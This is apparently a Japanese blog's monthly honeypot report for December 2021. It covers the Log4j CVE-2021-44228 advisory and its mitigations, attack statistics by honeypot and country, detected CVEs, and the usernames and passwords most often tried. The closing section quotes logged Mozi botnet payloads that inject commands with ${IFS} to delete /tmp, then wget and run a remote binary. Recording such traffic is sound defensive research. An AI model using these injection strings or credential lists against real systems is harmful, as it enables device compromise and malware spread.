Midnight Monologues

日々勉強したことを書いてきます

ハニーポット運用(月次報告:2021年12月)

Apache Log4jの任意のコード実行の脆弱性(CVE-2021-44228)に関する注意喚起が公開された。

JavaベースのオープンソースのロギングライブラリのApache Log4jには、任意のコード実行の脆弱性(CVE-2021-44228)がある。
Apache Log4jが動作するサーバーにおいて、遠隔の第三者が本脆弱性を悪用する細工したデータを送信することで、任意のコードを実行する可能性がある。

Apache Log4j Security Vulnerabilities
Fixed in Log4j 2.15.0
https://logging.apache.org/log4j/2.x/security.html

※出典:Apache Log4jの任意のコード実行の脆弱性(CVE-2021-44228)に関する注意喚起  https://www.jpcert.or.jp/at/2021/at210050.html

www.ipa.go.jp www.jpcert.or.jp logging.apache.org

推奨の対策では以下が紹介されている。

・自身が管理するIT環境でlog4jを利用するシステムとソフトウェアを棚卸する。
(※時間のかかる作業なので、前もって始めた方が良い)

・インターネットに接続されたソフトウェア/デバイスに対し、セキュリティパッチをすぐに適用する。

・社内のソフトウェア/デバイスに対応するセキュリティパッチをできるだけ早く適用する。
※何らかの理由でパッチが適用できない場合は、システムをインターネットから隔離し、以下の緩和策を適用することを強く推奨する。
 Case1. バージョンが2.10 の場合
  - log4j2.formatMsgNoLookups を true に設定する。
 Case2. バージョンが2.0 から 2.10.0 までの場合
  - 以下のコマンドを実行し、log4j から LDAP クラスを完全に削除する。
    zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
  - 一部のJVM バージョンでは、com.sun.jndi.rmi.object.trustURLCodebase および com.sun.jndi.cosnaming.object.trustURLCodebase を false に設定して、脆弱性を軽減させることが可能である。(一部の JVM のバージョンでは、すでにこの設定がデフォルトとなっている。)

Linux/Unixのコマンドを使用して、Webサーバーのログに悪用の試みがあるかどうか(成功したかどうかにかかわらず)を確認する。
  sudo egrep -i -r '\${jndi:(ldap[s]?|rmi|dns):/[^entan]+' /var/log/

・ネットワーク境界のログを確認し、IOC(indicators of compromise)のリストが存在するかどうかを確認する。

SnortまたはSuricataベースの(あるいは互換性のある)ネットワークベースIDSを使用している場合、悪用の試みを検出するためのルールを使用する。

脆弱性のあるシステムがある場合、スキャンは非常に強力であり、脆弱性のあるシステムが迅速に悪用されたと考えられるため、悪用の兆候がないか慎重にチェックする必要がある。

・WAF を使用している場合、log4j 固有のルールを導入する。Cloud Armor、Cloudflare WAF、Signal Sciences WAFなど、多くの商用ソリューションで利用可能である。

f:id:SYN-ACK:20220122120745p:plain ※出典:Zero-Day Exploit Targeting Popular Java Library Log4j
 - https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/

TryHackMeでも動作確認用のMachineが提供されている。
tryhackme.com

log4jは発表当初は恒久対応が確立されておらず、非常に深刻かつゼロデイ攻撃に該当する内容であった。
ゼロデイ攻撃に対する備えについて改めて考えさせられる内容であった。
個人情報保護法の改正(2022年4月より施行)により情報漏洩に対する企業への罰則強化が発表されており、セキュリティ対策費用<情報漏洩時の対応費用が現実味を帯びている。 来年度の予算取りに当たっては各企業様においてもセキュリティ対策予算の増加を検討頂きたい内容であった。(新法では罰金額の桁が違うので)

改正個人情報保護法の一部

対象 罰金額(旧法) 罰金額(新法)
措置命令(42条2項、3項)の違反の罰則 30万円以下 1億円以下
個人情報データベース等の不正流用 50万円以下 1億円以下
報告義務(40条)違反の罰則 30万円以下 50万円以下

T-Potにて1か月運用した結果を記載する。

今月のChangelog

 更新無し。

前提条件

運用日時:2021年12月1日-2021年12月31日
運用期間:31日

結果

①各ハニーポットで検知したAttack件数
  • T-Potを構成する各ハニーポットへの攻撃件数の一覧を以下に記載する。
No ハニーポット 件数 先月比
1 Heralding 961,176 86,886
2 Cowrie 595,514 ▲167,494
3 Honeytrap 566,628 50,052
4 Dionaea 409,308 ▲43,816
5 Rdpy 97,024 12,641
6 Adbhoney 15,306 810
7 Mailoney 14,416 ▲1,139
8 Tanner 4,336 1,248
9 Ciscoasa 2,674 627
10 ConPot 1,730 481
11 CitrixHoneypot 1,577 126
12 ElasticPot 1,072 76
13 Medpot 112 ▲23
  • Result
    • 全体的なアクセス数の減少は継続中。
    • Heraldingへのアクセス数は依然として多い。

②攻撃元の国名と件数(Top 20)
No 攻撃元の国名 件数 先月順位
1 Russia 702,356 1(→)
2 Netherlands 529,039 2(→)
3 United States 421,708 4(↑)
4 China 180,816 3(↓)
5 Ukraine 81,292 7(↑)
6 Denmark 74,584 圏外(↑)
7 India 67,107 9(↑)
8 Vietnam 65,611 8(→)
9 Japan 36,691 13(↑)
10 Hong Kong 30,701 圏外(↑)
11 Sweden 27,433 12(↑)
12 South Korea 25,406 圏外(↑)
13 Taiwan 25,279 19(↑)
14 Brazil 24,708 6(↓)
15 Latvia 23,503 15(→)
16 Indonesia 22,645 14(↓)
17 United Kingdom 17,522 5(↓)
18 Poland 16,694 圏外(↑)
19 Germany 12,739 圏外(↑)
20 Thailand 11,957 圏外(↑)

③検知したCVEの脆弱性と件数
  • Suricata(オープンIPS)にて検知した各攻撃の脆弱性の内容を以下に記載する。
No CVE ID Count
1 CVE-2020-11899 1,908,169
2 CVE-2019-0708 CVE-2019-0708 CVE-2019-0708 28
3 CVE-2020-11910 12
  • Result
    • 検知されるCVEの種類も少なくなりつつある。
    • Ripple20関連は相変わらず多い。

④よく攻撃されるユーザ名
  • ユーザ名でよく攻撃されるキーワード(Top 50)で記載する。
No ユーザ名 件数
1 root 52,208
2 sa 27,629
3 user 4,872
4 admin 4,009
5 postgres 2,505
6 hadoop 1,708
7 mysql 1,618
8 22 1,351
9 (empty) 1,054
10 !root 686
11 2Wire 671
12 test 454
13 support 415
14 0 351
15 666666 348
16 unknown 345
17 adm 343
18 debug 340
19 blank 339
20 knockknockwhosthere 313
21 www 300
22 nproc 299
23 administrator 267
24 anonymous 255
25 Admin 248
26 user123 235
27 db 233
28 www-data 229
29 ftp 212
30 pi 199
31 wwwroot 193
32 ubuntu 177
33 web 176
34 data 169
35 oracle 150
36 guest 126
37 git 109
38 testuser 105
39 server 102
40 ansible 83
41 ubnt 72
42 minecraft 66
43 zabbix 66
44 ftpuser 54
45 butter 51
46 dev 47
47 odoo 40
48 system 33
49 username 33
50 sh 32
  • Result
    • 特記事項なし

⑤よく攻撃されるパスワード
  • パスワードでよく攻撃されるキーワード(Top 50)を以下に記載する。
No パスワード 件数
1 admin 30,709
2 (empty) 3,356
3 1 1,810
4 password 1,638
5 blank 1,015
6 123456 937
7 root 909
8 Password 900
9 12345 658
10 12345678 594
11 1234 489
12 user 476
13 0 459
14 00000000 447
15 666666 443
16 ubnt 399
17 support 395
18 master 376
19 alpine 366
20 hi3518 356
21 backup 355
22 unknown 353
23 !ishtar 349
24 synnet 340
25 123 337
26 Passw0rd 317
27 knockknockwhosthere 309
28 test 306
29 nproc 294
30 123456789 206
31 1qaz2wsx 203
32 1q2w3e4r 171
33 !QAZ2wsx 163
34 1234567 150
35 1234567890 150
36 111111 147
37 abc123 147
38 qwerty 142
39 system 136
40 admin123 134
41 123123 114
42 pass 111
43 123qwe 107
44 000000 106
45 postgres 94
46 Admin@123 91
47 x 90
48 iloveyou 88
49 root123 84
50 oracle 82
  • Result
    • 特記事項なし

⑥今月のマスオさんとZmap
  • massscanの観測結果は以下の通り。 f:id:SYN-ACK:20220122120529j:plain

  • Zmapの観測結果は以下の通り。 f:id:SYN-ACK:20220122120549j:plain

  • Result

    • 特記事項は無し。

最後に

  • log4jのような深刻度の高いゼロデイ攻撃は非常に参考になる。関連企業がサプライチェーン攻撃を受けた場合に発注元企業側も管理者責任の問われる範囲が個人情報保護法の改正により広がることを考えると、今回のlog4jの対応を契機に各企業におけるセキュリティ意識の向上につながればと個人的には思った。
  • shファイルとexeファイル関連の問い合わせは以下の通り。
◆shファイルに関するアクセス
/axissbins.sh
/bin.sh
/bin/sh
/bins.sh
/Ciabins.sh
/Hilix.sh
/sh
/telnet.sh
/wget.sh
/Yowai.sh

◆exeファイルに関するアクセス
/exiles.exe
360vz.exe
c.exe
ytnk.exe

◆jsファイルに関するアクセス
/language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http:/112[.]248.255.248:34891/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js
/language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http:/113[.]116.34.83:56138/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js
/language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http:/115[.]48.136.152:33245/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js
/language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http:/115[.]56.171.76:51240/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js
/language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http:/115[.]63.183.145:40679/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js
/language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http:/117[.]213.13.227:45111/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js
/language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http:/192[.]168.1.1:8088/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js
/language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http:/2[.]142.129.173:33496/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js
/language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http:/203[.]170.98.130:3462/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js
/language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http:/39[.]88.85.153:37461/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js
/language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http:/61[.]52.61.43:46123/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js
/language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http:/61[.]52.73.80:52652/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js